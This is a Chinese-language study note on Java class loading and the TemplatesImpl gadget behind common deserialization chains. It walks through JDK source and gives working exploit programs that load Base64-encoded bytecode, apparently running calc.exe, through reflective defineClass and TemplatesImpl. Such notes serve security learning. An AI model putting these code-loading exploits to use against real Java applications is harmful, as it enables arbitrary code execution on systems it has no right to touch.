原理#
继承关系
双亲委派机制
自定义loader#
package com.example;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class FileClassLoader extends ClassLoader{
protected String basePath;
public FileClassLoader(String basePath){
super();
this.basePath = basePath;
}
@Override
protected Class<?> findClass(String name){
byte[] arr;
try {
Path path = Paths.get(this.basePath, name + ".class");
arr = Files.readAllBytes(path);
return defineClass(name, arr, 0, arr.length);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
public static void main(String[] args) throws Exception{
ClassLoader classLoader = new FileClassLoader("D:\\");
Class clazz = classLoader.loadClass("Hello");
clazz.newInstance();
}
}
URLloader#
package com.example;
import java.net.URL;
import java.net.URLClassLoader;
public class Demo {
public static void main(String[] args) throws Exception{
URL url = new URL("http://127.0.0.1:8000/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class clazz = loader.loadClass("Hello");
clazz.newInstance();
}
}
ClassLoader#defineClass#
获取ClassLoader方式
ClassLoader loader = Thread.currentThread().getContextClassLoader();
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoader loader = this.getClass().getClassLoader();
playload
package com.example;
import java.lang.reflect.*;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws Exception{
String exp = "yv66vgAAADQAIQoACAASCgATABQIABUKABMAFgcAFwoABQAYBwAZBwAaAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHABkHABcBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwACQAKBwAbDAAcAB0BAAhjYWxjLmV4ZQwAHgAfAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAIAAKAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAQABAAkACgABAAsAAABgAAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQACAAwAAAAaAAYAAAACAAQABAANAAcAEAAFABEABgAVAAgADQAAABAAAv8AEAABBwAOAAEHAA8EAAEAEAAAAAIAEQ==";
byte[] code = Base64.getDecoder().decode(exp);
ClassLoader loader = ClassLoader.getSystemClassLoader(); // AppClassLoader
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
Class clazz = (Class) defineClassMethod.invoke(loader, "Hello", code, 0, code.length);
clazz.newInstance();
}
}
TemplatesImpl#
因为 defineClass 的作用域往往都是不开放的, 攻击者一般很难利用到它, 所以接下来我们引入 TemplatesImpl 这条非常重要的利用链, 它是各大反序列化链 (cc, rome, fastjson) 利用的基础
TemplatesImpl 的全类名是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
, 其内部实现了一个 TransletClassLoader
具体的调用链
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
然后我们自己来看看吧,这里就从getOutputProperties开始分析
getOutputProperties#
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
这里调用了newTransformer,然后我们这里传入的是TemplatesImpl的对象,所以我们就进入到TemplatesImpl中
newTransformer#
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
可以看到这里new 了一个TemplatesImpl,然后调用了一个getTransletInstance方法然后我们跟进
getTransletInstance#
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet)
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException | IllegalAccessException |
NoSuchMethodException | InvocationTargetException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
然后做两个判断后,走到defineTransletClasses
defineTransletClasses#
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader =
AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
public TransletClassLoader run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class<?>[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
// create a module for the translet
String mn = "jdk.translet";
String pn = _tfactory.getPackageName();
assert pn != null && pn.length() > 0;
ModuleDescriptor descriptor =
ModuleDescriptor.newModule(mn, Set.of(ModuleDescriptor.Modifier.SYNTHETIC))
.requires("java.xml")
.exports(pn, Set.of("java.xml"))
.build();
Module m = createModule(descriptor, loader);
// the module needs access to runtime classes
Module thisModule = TemplatesImpl.class.getModule();
// the module also needs permission to access each package
// that is exported to it PermissionCollection perms =
new RuntimePermission("*").newPermissionCollection();
Arrays.asList(Constants.PKGS_USED_BY_TRANSLET_CLASSES).forEach(p -> {
thisModule.addExports(p, m);
perms.add(new RuntimePermission("accessClassInPackage." + p));
});
CodeSource codeSource = new CodeSource(null, (CodeSigner[])null);
ProtectionDomain pd = new ProtectionDomain(codeSource, perms,
loader, null);
// java.xml needs to instantiate the translet class
thisModule.addReads(m);
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i], pd);
final Class<?> superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString(), e);
}
}
这个地方着重看一下
defineTransletClasses 先判断 _bytecodes
是否为 null, 然后实例化了 TransletClassLoader
之后获取 _bytecodes.length
作为 classCount (_bytecodes
是一个二维数组, 它的长度表示一共有几组字节码需要被加载)
接着遍历 _bytecodes
并且调用 loader.defineClass()
将返回值赋给 _class
数组
最后会判断该 Class 是否继承自 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
, 如果条件为真, 就将 _transletIndex
赋为 Class 对应的索引
走到这里就加载完了然后又回到getTransletInstance
getTransletInstance#
主要看这
_class[_transletIndex].getConstructor().newInstance();
translet.postInitialization();
translet.setTemplates(this);
此时class就是其对象,然后就实例化他,造成命令执行
最后exp
package com.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.*;
import java.util.*;
import java.util.Properties;
public class Hello {
public static void main(String[] args) throws Exception{
String exp = "yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAB4HABwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAgAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAJAAoHACEMACIAIwEACGNhbGMuZXhlDAAkACUBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAmAAoBABFjb20vZXhhbXBsZS9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAADAAEACQAKAAEACwAAAGAAAgACAAAAFiq3AAG4AAISA7YABFenAAhMK7YABrEAAQAEAA0AEAAFAAIADAAAABoABgAAAAoABAAMAA0ADwAQAA0AEQAOABUAEAANAAAAEAAC/wAQAAEHAA4AAQcADwQAAQAQABEAAgALAAAAGQAAAAMAAAABsQAAAAEADAAAAAYAAQAAABUAEgAAAAQAAQATAAEAEAAUAAIACwAAABkAAAAEAAAAAbEAAAABAAwAAAAGAAEAAAAaABIAAAAEAAEAEwABABUAAAACABY=";
byte[] code = Base64.getDecoder().decode(exp);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue("_name","evil",templates);
setFieldValue("_bytecodes",new byte[][]{code},templates);
setFieldValue("_tfactory", new TransformerFactoryImpl(), templates);
templates.getOutputProperties();
}
public static void setFieldValue(String name, Object value, Object obj) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, value);
}
}